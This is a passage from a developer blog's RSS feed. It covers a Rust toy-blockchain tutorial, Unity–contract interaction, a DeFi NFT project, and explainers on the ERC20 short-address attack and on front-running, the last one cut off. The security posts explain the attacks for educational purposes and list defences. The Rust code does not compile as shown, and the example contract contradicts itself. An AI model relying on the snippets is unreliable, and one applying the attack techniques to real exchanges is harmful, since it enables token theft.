<span class="hljs-keyword">use</span> crypto::digest::Digest;
<span class="hljs-keyword">use</span> crypto::sha3::Sha3;
<span class="hljs-keyword">use</span> chrono::prelude::*;
</code></pre><p>4.Define the block header</p><pre data-type="codeBlock" text=" struct BlockHeader {
     time: i64,
     tx_hash: String,
     pre_hash: String,
}
"><code> <span class="hljs-keyword">struct</span> <span class="hljs-title class_">BlockHeader</span> {
     time: <span class="hljs-type">i64</span>,
     tx_hash: <span class="hljs-type">String</span>,
     pre_hash: <span class="hljs-type">String</span>,
}
</code></pre><p>5.Define blocks</p><pre data-type="codeBlock" text=" struct Block {
     header: BlockHeader,
     hash: String,
     data: String, //transactions data
}
"><code> <span class="hljs-keyword">struct</span> <span class="hljs-title class_">Block</span> {
     header: BlockHeader,
     hash: <span class="hljs-type">String</span>,
     data: <span class="hljs-type">String</span>, <span class="hljs-comment">//transactions data</span>
}
</code></pre><p>6.Use the package just added to write two methods for serialization and deserialization.</p><pre data-type="codeBlock" text="//Serializatize
fn my_serialize&lt;T: ?Sized&gt;(value: &amp;T) -&gt; Vec&lt;u8&gt; 
    where T: Serialize,
{
    let seialized = bincode::serialize(value).unwrap();
    seialized
}
//deserialize
fn my_deserialize&lt;&apos;a, T&gt;(bytes: &amp;&apos;a[u8]) -&gt; T 
    where T: Deserialize&lt;&apos;a&gt;,
{
    let deserialized = bincode::deserialize(bytes).unwrap();
    deserialized
}
"><code><span class="hljs-comment">//Serializatize</span>
<span class="hljs-keyword">fn</span> <span class="hljs-title function_">my_serialize</span>&#x3C;T: ?<span class="hljs-built_in">Sized</span>>(value: &#x26;T) <span class="hljs-punctuation">-></span> <span class="hljs-type">Vec</span>&#x3C;<span class="hljs-type">u8</span>> 
    <span class="hljs-keyword">where</span> T: Serialize,
{
    <span class="hljs-keyword">let</span> <span class="hljs-variable">seialized</span> = bincode::<span class="hljs-title function_ invoke__">serialize</span>(value).<span class="hljs-title function_ invoke__">unwrap</span>();
    seialized
}
<span class="hljs-comment">//deserialize</span>
<span class="hljs-keyword">fn</span> <span class="hljs-title function_">my_deserialize</span>&#x3C;<span class="hljs-symbol">'a</span>, T>(bytes: &#x26;<span class="hljs-symbol">'a</span>[<span class="hljs-type">u8</span>]) <span class="hljs-punctuation">-></span> T 
    <span class="hljs-keyword">where</span> T: Deserialize&#x3C;<span class="hljs-symbol">'a</span>>,
{
    <span class="hljs-keyword">let</span> <span class="hljs-variable">deserialized</span> = bincode::<span class="hljs-title function_ invoke__">deserialize</span>(bytes).<span class="hljs-title function_ invoke__">unwrap</span>();
    deserialized
}
</code></pre><p>7.Use the package rust-crypto to find the hash</p><pre data-type="codeBlock" text="fn get_hash(value: &amp;[u8]) -&gt; String {
    let mut hasher = Sha3::sha3_256();
    hasher.input(value);
    hasher.result_str()
}
"><code>fn get_hash(<span class="hljs-built_in">value</span>: <span class="hljs-operator">&#x26;</span>[u8]) <span class="hljs-operator">-</span><span class="hljs-operator">></span> String {
    let mut hasher <span class="hljs-operator">=</span> Sha3::sha3_256();
    hasher.input(value);
    hasher.result_str()
}
</code></pre><p>8.Implement these methods for the previously defined Block</p><pre data-type="codeBlock" text="impl Block {
    fn set_hash(&amp;mut self) {
        let header = coder::my_serialize(&amp;(self.header));
        self.hash = coder::get_hash(&amp;header[..]);
    }

     fn new_block(data: String, pre_hash: String) -&gt; Block {
        let transactions = coder::my_serialize(&amp;data);
        let tx_hash = coder::get_hash(&amp;transactions[..]);

        let time = Utc::now().timestamp();

        let mut block = Block {
            header: BlockHeader {
                time: time,
                tx_hash: tx_hash,  //transactions data merkle root hash
                pre_hash: pre_hash,
            },
            hash: &quot;&quot;.to_string(),
            data: data,
        };

        block.set_hash();
        block
    }
}
"><code>impl Block {
    fn set_hash(<span class="hljs-operator">&#x26;</span>mut <span class="hljs-built_in">self</span>) {
        let header <span class="hljs-operator">=</span> coder::my_serialize(<span class="hljs-operator">&#x26;</span>(<span class="hljs-built_in">self</span>.header));
        <span class="hljs-built_in">self</span>.hash <span class="hljs-operator">=</span> coder::get_hash(<span class="hljs-operator">&#x26;</span>header[..]);
    }

     fn new_block(data: String, pre_hash: String) <span class="hljs-operator">-</span><span class="hljs-operator">></span> Block {
        let transactions <span class="hljs-operator">=</span> coder::my_serialize(<span class="hljs-operator">&#x26;</span>data);
        let tx_hash <span class="hljs-operator">=</span> coder::get_hash(<span class="hljs-operator">&#x26;</span>transactions[..]);

        let time <span class="hljs-operator">=</span> Utc::<span class="hljs-built_in">now</span>().timestamp();

        let mut <span class="hljs-built_in">block</span> <span class="hljs-operator">=</span> Block {
            header: BlockHeader {
                time: time,
                tx_hash: tx_hash,  <span class="hljs-comment">//transactions data merkle root hash</span>
                pre_hash: pre_hash,
            },
            hash: <span class="hljs-string">""</span>.to_string(),
            data: data,
        };

        <span class="hljs-built_in">block</span>.set_hash();
        <span class="hljs-built_in">block</span>
    }
}
</code></pre><p>9.Define blockchain</p><pre data-type="codeBlock" text="struct BlockChain {
    blocks: Vec&lt;block::Block&gt;,
}
impl BlockChain {
   fn add_block(&amp;mut self, data: String) {
        let pre_block = &amp;self.blocks[self.blocks.len() - 1];
        let new_block = block::Block::new_block(data, pre_block.hash.clone());
        self.blocks.push(new_block);
    }

    fn new_genesis_block() -&gt; block::Block {
        block::Block::new_block(&quot;This is genesis block&quot;.to_string(), String::from(&quot;&quot;))
    }

     fn new_blockchain() -&gt; BlockChain {
        BlockChain {
            blocks: vec![BlockChain::new_genesis_block()],
        }
    }
}
"><code><span class="hljs-keyword">struct</span> <span class="hljs-title">BlockChain</span> {
    blocks: Vec<span class="hljs-operator">&#x3C;</span><span class="hljs-built_in">block</span>::Block<span class="hljs-operator">></span>,
}
impl BlockChain {
   fn add_block(<span class="hljs-operator">&#x26;</span>mut <span class="hljs-built_in">self</span>, data: String) {
        let pre_block <span class="hljs-operator">=</span> <span class="hljs-operator">&#x26;</span><span class="hljs-built_in">self</span>.blocks[<span class="hljs-built_in">self</span>.blocks.len() <span class="hljs-operator">-</span> <span class="hljs-number">1</span>];
        let new_block <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>::Block::new_block(data, pre_block.hash.clone());
        <span class="hljs-built_in">self</span>.blocks.<span class="hljs-built_in">push</span>(new_block);
    }

    fn new_genesis_block() <span class="hljs-operator">-</span><span class="hljs-operator">></span> <span class="hljs-built_in">block</span>::Block {
        <span class="hljs-built_in">block</span>::Block::new_block(<span class="hljs-string">"This is genesis block"</span>.to_string(), String::<span class="hljs-keyword">from</span>(<span class="hljs-string">""</span>))
    }

     fn new_blockchain() <span class="hljs-operator">-</span><span class="hljs-operator">></span> BlockChain {
        BlockChain {
            blocks: vec<span class="hljs-operator">!</span>[BlockChain::new_genesis_block()],
        }
    }
}
</code></pre><p>10.Define the main method</p><pre data-type="codeBlock" text="fn main() {
    let mut bc = blockchain::BlockChain::new_blockchain();
    bc.add_block(String::from(&quot;a -&gt; b: 5 btc&quot;));
    bc.add_block(&quot;c -&gt; d: 1 btc&quot;.to_string());
    for b in bc.blocks {
        println!(&quot;++++++++++++++++++++++++++++++++++++++++++++&quot;);
        println!(&quot;{:#?}&quot;, b);
        println!(&quot;&quot;);
    }
}
"><code>fn main() {
    let mut bc <span class="hljs-operator">=</span> blockchain::BlockChain::new_blockchain();
    bc.add_block(String::<span class="hljs-keyword">from</span>(<span class="hljs-string">"a -> b: 5 btc"</span>));
    bc.add_block(<span class="hljs-string">"c -> d: 1 btc"</span>.to_string());
    <span class="hljs-keyword">for</span> b in bc.blocks {
        println<span class="hljs-operator">!</span>(<span class="hljs-string">"++++++++++++++++++++++++++++++++++++++++++++"</span>);
        println<span class="hljs-operator">!</span>(<span class="hljs-string">"{:#?}"</span>, b);
        println<span class="hljs-operator">!</span>(<span class="hljs-string">""</span>);
    }
}
</code></pre><p>The final code should look like this.</p><pre data-type="codeBlock" text="use bincode;
use serde::{Deserialize, Serialize};
use crypto::digest::Digest;
use crypto::sha3::Sha3;
use chrono::prelude::*;


 struct BlockHeader {
     time: i64,
     tx_hash: String,
     pre_hash: String,
}

 struct Block {
     header: BlockHeader,
     hash: String,
     data: String, //transactions data
}
impl Block {
    fn set_hash(&amp;mut self) {
        let header = coder::my_serialize(&amp;(self.header));
        self.hash = coder::get_hash(&amp;header[..]);
    }

     fn new_block(data: String, pre_hash: String) -&gt; Block {
        let transactions = coder::my_serialize(&amp;data);
        let tx_hash = coder::get_hash(&amp;transactions[..]);

        let time = Utc::now().timestamp();

        let mut block = Block {
            header: BlockHeader {
                time: time,
                tx_hash: tx_hash,  //transactions data merkle root hash
                pre_hash: pre_hash,
            },
            hash: &quot;&quot;.to_string(),
            data: data,
        };

        block.set_hash();
        block
    }
}


fn my_serialize&lt;T: ?Sized&gt;(value: &amp;T) -&gt; Vec&lt;u8&gt; 
    where T: Serialize,
{
    let seialized = bincode::serialize(value).unwrap();
    seialized
}

fn my_deserialize&lt;&apos;a, T&gt;(bytes: &amp;&apos;a[u8]) -&gt; T 
    where T: Deserialize&lt;&apos;a&gt;,
{
    let deserialized = bincode::deserialize(bytes).unwrap();
    deserialized
}

fn get_hash(value: &amp;[u8]) -&gt; String {
    let mut hasher = Sha3::sha3_256();
    hasher.input(value);
    hasher.result_str()
}




struct BlockChain {
    blocks: Vec&lt;block::Block&gt;,
}

impl BlockChain {
    fn add_block(&amp;mut self, data: String) {
        let pre_block = &amp;self.blocks[self.blocks.len() - 1];
        let new_block = block::Block::new_block(data, pre_block.hash.clone());
        self.blocks.push(new_block);
    }

    fn new_genesis_block() -&gt; block::Block {
        block::Block::new_block(&quot;This is genesis block&quot;.to_string(), String::from(&quot;&quot;))
    }

     fn new_blockchain() -&gt; BlockChain {
        BlockChain {
            blocks: vec![BlockChain::new_genesis_block()],
        }
    }
}
"><code><span class="hljs-keyword">use</span> bincode;
<span class="hljs-keyword">use</span> serde::{Deserialize, Serialize};
<span class="hljs-keyword">use</span> crypto::digest::Digest;
<span class="hljs-keyword">use</span> crypto::sha3::Sha3;
<span class="hljs-keyword">use</span> chrono::prelude::*;


 <span class="hljs-keyword">struct</span> <span class="hljs-title class_">BlockHeader</span> {
     time: <span class="hljs-type">i64</span>,
     tx_hash: <span class="hljs-type">String</span>,
     pre_hash: <span class="hljs-type">String</span>,
}

 <span class="hljs-keyword">struct</span> <span class="hljs-title class_">Block</span> {
     header: BlockHeader,
     hash: <span class="hljs-type">String</span>,
     data: <span class="hljs-type">String</span>, <span class="hljs-comment">//transactions data</span>
}
<span class="hljs-keyword">impl</span> <span class="hljs-title class_">Block</span> {
    <span class="hljs-keyword">fn</span> <span class="hljs-title function_">set_hash</span>(&#x26;<span class="hljs-keyword">mut</span> <span class="hljs-keyword">self</span>) {
        <span class="hljs-keyword">let</span> <span class="hljs-variable">header</span> = coder::<span class="hljs-title function_ invoke__">my_serialize</span>(&#x26;(<span class="hljs-keyword">self</span>.header));
        <span class="hljs-keyword">self</span>.hash = coder::<span class="hljs-title function_ invoke__">get_hash</span>(&#x26;header[..]);
    }

     <span class="hljs-keyword">fn</span> <span class="hljs-title function_">new_block</span>(data: <span class="hljs-type">String</span>, pre_hash: <span class="hljs-type">String</span>) <span class="hljs-punctuation">-></span> Block {
        <span class="hljs-keyword">let</span> <span class="hljs-variable">transactions</span> = coder::<span class="hljs-title function_ invoke__">my_serialize</span>(&#x26;data);
        <span class="hljs-keyword">let</span> <span class="hljs-variable">tx_hash</span> = coder::<span class="hljs-title function_ invoke__">get_hash</span>(&#x26;transactions[..]);

        <span class="hljs-keyword">let</span> <span class="hljs-variable">time</span> = Utc::<span class="hljs-title function_ invoke__">now</span>().<span class="hljs-title function_ invoke__">timestamp</span>();

        <span class="hljs-keyword">let</span> <span class="hljs-keyword">mut </span><span class="hljs-variable">block</span> = Block {
            header: BlockHeader {
                time: time,
                tx_hash: tx_hash,  <span class="hljs-comment">//transactions data merkle root hash</span>
                pre_hash: pre_hash,
            },
            hash: <span class="hljs-string">""</span>.<span class="hljs-title function_ invoke__">to_string</span>(),
            data: data,
        };

        block.<span class="hljs-title function_ invoke__">set_hash</span>();
        block
    }
}


<span class="hljs-keyword">fn</span> <span class="hljs-title function_">my_serialize</span>&#x3C;T: ?<span class="hljs-built_in">Sized</span>>(value: &#x26;T) <span class="hljs-punctuation">-></span> <span class="hljs-type">Vec</span>&#x3C;<span class="hljs-type">u8</span>> 
    <span class="hljs-keyword">where</span> T: Serialize,
{
    <span class="hljs-keyword">let</span> <span class="hljs-variable">seialized</span> = bincode::<span class="hljs-title function_ invoke__">serialize</span>(value).<span class="hljs-title function_ invoke__">unwrap</span>();
    seialized
}

<span class="hljs-keyword">fn</span> <span class="hljs-title function_">my_deserialize</span>&#x3C;<span class="hljs-symbol">'a</span>, T>(bytes: &#x26;<span class="hljs-symbol">'a</span>[<span class="hljs-type">u8</span>]) <span class="hljs-punctuation">-></span> T 
    <span class="hljs-keyword">where</span> T: Deserialize&#x3C;<span class="hljs-symbol">'a</span>>,
{
    <span class="hljs-keyword">let</span> <span class="hljs-variable">deserialized</span> = bincode::<span class="hljs-title function_ invoke__">deserialize</span>(bytes).<span class="hljs-title function_ invoke__">unwrap</span>();
    deserialized
}

<span class="hljs-keyword">fn</span> <span class="hljs-title function_">get_hash</span>(value: &#x26;[<span class="hljs-type">u8</span>]) <span class="hljs-punctuation">-></span> <span class="hljs-type">String</span> {
    <span class="hljs-keyword">let</span> <span class="hljs-keyword">mut </span><span class="hljs-variable">hasher</span> = Sha3::<span class="hljs-title function_ invoke__">sha3_256</span>();
    hasher.<span class="hljs-title function_ invoke__">input</span>(value);
    hasher.<span class="hljs-title function_ invoke__">result_str</span>()
}




<span class="hljs-keyword">struct</span> <span class="hljs-title class_">BlockChain</span> {
    blocks: <span class="hljs-type">Vec</span>&#x3C;block::Block>,
}

<span class="hljs-keyword">impl</span> <span class="hljs-title class_">BlockChain</span> {
    <span class="hljs-keyword">fn</span> <span class="hljs-title function_">add_block</span>(&#x26;<span class="hljs-keyword">mut</span> <span class="hljs-keyword">self</span>, data: <span class="hljs-type">String</span>) {
        <span class="hljs-keyword">let</span> <span class="hljs-variable">pre_block</span> = &#x26;<span class="hljs-keyword">self</span>.blocks[<span class="hljs-keyword">self</span>.blocks.<span class="hljs-title function_ invoke__">len</span>() - <span class="hljs-number">1</span>];
        <span class="hljs-keyword">let</span> <span class="hljs-variable">new_block</span> = block::Block::<span class="hljs-title function_ invoke__">new_block</span>(data, pre_block.hash.<span class="hljs-title function_ invoke__">clone</span>());
        <span class="hljs-keyword">self</span>.blocks.<span class="hljs-title function_ invoke__">push</span>(new_block);
    }

    <span class="hljs-keyword">fn</span> <span class="hljs-title function_">new_genesis_block</span>() <span class="hljs-punctuation">-></span> block::Block {
        block::Block::<span class="hljs-title function_ invoke__">new_block</span>(<span class="hljs-string">"This is genesis block"</span>.<span class="hljs-title function_ invoke__">to_string</span>(), <span class="hljs-type">String</span>::<span class="hljs-title function_ invoke__">from</span>(<span class="hljs-string">""</span>))
    }

     <span class="hljs-keyword">fn</span> <span class="hljs-title function_">new_blockchain</span>() <span class="hljs-punctuation">-></span> BlockChain {
        BlockChain {
            blocks: <span class="hljs-built_in">vec!</span>[BlockChain::<span class="hljs-title function_ invoke__">new_genesis_block</span>()],
        }
    }
}
</code></pre><p>Cargo run, the effect</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0996675eb43cab18920678ab57b19ed1be5219bd0e557bf356404c702fb7ae22.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>If you want to simulate mining, use sleep for about 10s</p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Unity development chain game]]></title>
            <link>https://paragraph.com/@skka3134/unity-development-chain-game</link>
            <guid>IIJvh7z4EVuEHW0K0z6u</guid>
            <pubDate>Thu, 27 Jul 2023 12:47:59 GMT</pubDate>
            <description><![CDATA[Skip the game side and the contract side, and write about the interaction between unity and the contract.1.Under the plugins folder of the unity project, first create a new file with the suffix .jslib, and customize the file name.mergeInto(LibraryManager.library, { StartTime: function(){ //StartTime是Unity调用的方法名字 BeginTime(); //BeginTime是调用前端BeginTime()方法 }, }); 2.In unity, create a new script, add the namespace using System.Runtime.InteropServices; and add the following C# code:[DllImport("__...]]></description>
            <content:encoded><![CDATA[<p>Skip the game side and the contract side, and write about the interaction between unity and the contract.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6a7c1d68304d3b1a384ba50ba80de06fe39ce232cfe37424de2f84b671cef183.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>1.Under the plugins folder of the unity project, first create a new file with the suffix .jslib, and customize the file name.</p><pre data-type="codeBlock" text="mergeInto(LibraryManager.library, {

  StartTime: function(){  //StartTime是Unity调用的方法名字
      BeginTime();          //BeginTime是调用前端BeginTime()方法
  },
});
"><code><span class="hljs-built_in">mergeInto</span>(LibraryManager.library, {

  StartTime: function(){  <span class="hljs-comment">//StartTime是Unity调用的方法名字</span>
      <span class="hljs-built_in">BeginTime</span>();          <span class="hljs-comment">//BeginTime是调用前端BeginTime()方法</span>
  },
});
</code></pre><p>2.In unity, create a new script, add the namespace using System.Runtime.InteropServices; and add the following C# code:</p><pre data-type="codeBlock" text="[DllImport(&quot;__Internal&quot;)]
  private static extern void StartTime();
"><code>[<span class="hljs-meta">DllImport(<span class="hljs-string">"__Internal"</span>)</span>]
  <span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">extern</span> <span class="hljs-keyword">void</span> <span class="hljs-title">StartTime</span>()</span>;
</code></pre><p>3.Call the StartTime() method in unity, that is, call the StartTime() method in jslib</p><pre data-type="codeBlock" text="    function StartTime() {
    }
"><code>    <span class="hljs-function">function <span class="hljs-title">StartTime</span>()</span> {
    }
</code></pre><p>4.Package unity with webgl, and choose no compression for the compression method</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d3890443b74cbe6bea7582125c72bc0057c477480f1df4ebe94df4626cadb61f.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>You can also use this project to use the third-party plug-in react-unity-webgl to load the WebGL resources packaged by the Unity project in the React project.</p><p>github：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/skka3134/plantsVsZombines/tree/main">https://github.com/skka3134/plantsVsZombines/tree/main</a></p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[defi Chainfish]]></title>
            <link>https://paragraph.com/@skka3134/defi-chainfish</link>
            <guid>OikI6Jn39RvbNEyMDEks</guid>
            <pubDate>Thu, 27 Jul 2023 12:41:02 GMT</pubDate>
            <description><![CDATA[The characteristic of Chainfish is that the fish head and tail need to be fixed, and the strings are used to generate the body parts of the fish. The inspiration of the project comes from Chainface. nft://1/0x91047Abf3cAb8da5A9515c8750Ab33B4f1560a7A/?showBuying=true&showMeta=true Contract file structure FishToken.sol fishtoken issued by the project itself sFishToken.sol The sfishtoken issued by the project itself is released as a reward usdcBuyNftLogic.sol Use usdc to replace the fishtoken is...]]></description>
            <content:encoded><![CDATA[<figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/475cba415ddc75027d25bd38c4f97c248b379faf735ea23e9ced1b7e645a3dd9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>The characteristic of Chainfish is that the fish head and tail need to be fixed, and the strings are used to generate the body parts of the fish. The inspiration of the project comes from Chainface.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="">nft://1/0x91047Abf3cAb8da5A9515c8750Ab33B4f1560a7A/?showBuying=true&amp;showMeta=true</a></p><p>Contract file structure</p><p>FishToken.sol</p><p>fishtoken issued by the project itself</p><p>sFishToken.sol</p><p>The sfishtoken issued by the project itself is released as a reward</p><p>usdcBuyNftLogic.sol</p><p>Use usdc to replace the fishtoken issued by the project itself</p><p>FishNft.sol mint nft，burn nft，claim</p><p>Pancake&apos;s factory contract and routing contract, other secure digital and interface contracts</p><p>github address</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/skka3134/Vue/tree/main">https://github.com/skka3134/Vue/tree/main</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d8896fbe4b84066923c56bb8d481e610d6007c10295c0dc101d61bb28d18a0c3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Smart contract security: 7. Short address attack]]></title>
            <link>https://paragraph.com/@skka3134/smart-contract-security-7-short-address-attack</link>
            <guid>8aeroI7LMWKfT4iXQrwf</guid>
            <pubDate>Wed, 26 Jul 2023 10:48:15 GMT</pubDate>
            <description><![CDATA[This attack is not performed specifically against Solidity contracts, but against third-party applications that may interact with it. 1. Vulnerabilities When passing parameters to a smart contract, the parameters will be encoded according to the ABI specification. It is possible to send encoded parameters that are shorter than the expected parameter length (for example, sending an address of only 38 hex characters (19 bytes) instead of the standard 40 hex characters (20 bytes)). In this case,...]]></description>
            <content:encoded><![CDATA[<p>This attack is not performed specifically against Solidity contracts, but against third-party applications that may interact with it.</p><p>1. Vulnerabilities When passing parameters to a smart contract, the parameters will be encoded according to the ABI specification. It is possible to send encoded parameters that are shorter than the expected parameter length (for example, sending an address of only 38 hex characters (19 bytes) instead of the standard 40 hex characters (20 bytes)). In this case, the EVM will pad 0s to the end of the encoded parameter to the expected length.</p><p>This becomes a problem when the third-party application does not validate the input. The most obvious example is when a user requests a withdrawal, the exchange does not verify the address of the ERC20 token. This example is detailed in Peter Venesses&apos; article &quot;ERC20 Short Address Attack Explained&quot;.</p><p>Consider the standard ERC20 transfer function interface, noting the order of the parameters,</p><p><code>function transfer(address to, uint tokens) public returns (bool success);</code></p><p>Now consider that an exchange holds a lot of tokens (say <code>REP</code> ), and a user wants to get back 100 tokens they stored. Users will submit their address, <code>0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead</code>, and the number of tokens, <code>100</code> . The exchange will encode these parameters in the order specified by the <code>transfer()</code> function, i.e. address first and then <code>tokens</code> . The encoded result will be</p><p><code>a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000000000000000000000000000000000000056bc75e2d63100000</code></p><p>Extract the function signature, and the remaining digits should be separated by 32 bytes:</p><p><code>a9059cbb 00000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead 0000000000000000000000000000000000000000000000056bc75e2d63100000</code></p><p>The first four bytes (a9059cbb) are the <code>transfer()</code> function signature/selector;</p><p>The second 32 bytes are the address;</p><p>The last 32 bytes are a <code>uint256</code> representing the token amount. Note that the final hex number <code>56bc75e2d63100000</code> corresponds to 100 tokens (with 18 decimal places, as specified by the REP token contract).</p><p>Ok, now let&apos;s see what happens if we send an address with 2 missing hex numbers. Specifically, suppose an attacker sends with <code>0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde</code> as an address (missing the last two digits), and gets back the same <code>100</code> tokens. If the exchange does not validate this input, it will be encoded as</p><p><code>a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde0000000000000000000000000000000000000000000000056bc75e2d6310000000</code></p><p>Extract the function signature, and the remaining digits should be separated by 32 bytes:</p><p><code>a9059cbb 0000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddeadde00 00000000000000000000000000000000000000000000056bc75e2d6310000000</code> The difference is subtle. Note that <code>00</code> has been padded to the end of the encoding to complete the short address sent. When it is sent to the smart contract, the <code>address</code> parameter will be read as <code>0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00</code> and the value will be read as <code>56bc75e2d6310000000</code> (note the two extra 0s). This value is now 25600 tokens (the value has been multiplied by 256 ). In this example, if the exchange held this many tokens, the user would withdraw <code>25600</code> tokens (while the exchange thought the user was only withdrawing 100) to the modified address. Obviously the attacker would not have the modified address in this example, but if the attacker generated a zero-terminated address (which is easy to force) and used this generated address, they could easily Steal tokens from exchanges.</p><p>2.Preventive measures</p><p>I think it&apos;s obvious that validating all inputs before sending them to the blockchain prevents these types of attacks. It should also be noted that parameter ordering plays an important role here. Since padding only occurs at the end of the string, careful ordering of parameters in smart contracts may mitigate some forms of this attack.</p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Smart contract security: 6. Front Running ]]></title>
            <link>https://paragraph.com/@skka3134/smart-contract-security-6-front-running</link>
            <guid>SMpTv1eCGZya3C6n6NG9</guid>
            <pubDate>Wed, 26 Jul 2023 10:37:31 GMT</pubDate>
            <description><![CDATA[1.Vulnerabilities Like most blockchains, Ethereum nodes aggregate transactions and package them into blocks. Once the miners obtain a solution to the consensus mechanism (currently implemented on Ethereum is the ETHASH workload proof algorithm), these transactions are considered valid. The miner who dug up the block also chooses which transactions in the transaction pool are included in the block, generally sorted according to the gasPrice of the transactions. There is a potential attack vect...]]></description>
            <content:encoded><![CDATA[<p>1.Vulnerabilities</p><p>Like most blockchains, Ethereum nodes aggregate transactions and package them into blocks. Once the miners obtain a solution to the consensus mechanism (currently implemented on Ethereum is the ETHASH workload proof algorithm), these transactions are considered valid. The miner who dug up the block also chooses which transactions in the transaction pool are included in the block, generally sorted according to the <code>gasPrice</code> of the transactions. There is a potential attack vector here. An attacker can monitor the transaction pool to see if there is a solution to the problem (as shown in the contract below), modify or revoke the attacker&apos;s permissions, or change the state of the contract; these transactions are all obstacles to the attacker. The attacker can then take the data from it and create a transaction with a higher <code>gasPrice</code>, (making his own transaction) be included in a block before the original transaction.</p><p>Let&apos;s see how this can be done with a simple example. Consider the contract FindThisHash.sol :</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract FindThisHash {
    bytes32 constant public hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
    
    constructor() payable {} // load with ether
    
    function solve(string calldata solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == keccak256(abi.encodePacked(solution)), &quot;Answer is wrong&quot;); 
        payable(msg.sender).transfer(10 ether);
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.7;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FindThisHash</span> </span>{
    <span class="hljs-keyword">bytes32</span> <span class="hljs-keyword">constant</span> <span class="hljs-keyword">public</span> hash <span class="hljs-operator">=</span> <span class="hljs-number">0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2</span>;
    
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{} <span class="hljs-comment">// load with ether</span>
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">solve</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">calldata</span> solution</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-comment">// If you can find the pre image of the hash, receive 1000 ether</span>
        <span class="hljs-built_in">require</span>(hash <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(solution)), <span class="hljs-string">"Answer is wrong"</span>); 
        <span class="hljs-keyword">payable</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>).<span class="hljs-built_in">transfer</span>(<span class="hljs-number">10</span> <span class="hljs-literal">ether</span>);
    }
}
</code></pre><p>Imagine this contract contains 10 Ether. Users who can find the Pre-image of keccak256 with hash value <code>0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2</code> can submit their solution and get 10 Ether. Let&apos;s assume, a user found the answer <code>Ethereum</code>. They can call solve() with <code>Ethereum</code> as an argument. Unfortunately, the attacker is very smart and monitors the transaction pool to see if anyone submits a solution. They see this solution, check its validity, and submit an identical transaction with a much higher gasPrice than the original transaction. The miner who mined the current block may favor the transaction issued by the attacker due to the higher gasPrice, and accept their transaction before the original transaction is included. The attacker will get 10 Ether and the user who solves the problem will get nothing (since there is no Ether left in the contract).</p><p>More realistic issues will arise in the design of future Casper implementations. The Casper proof-of-stake contract involves slashing conditions under which users who notice validators double-voting or 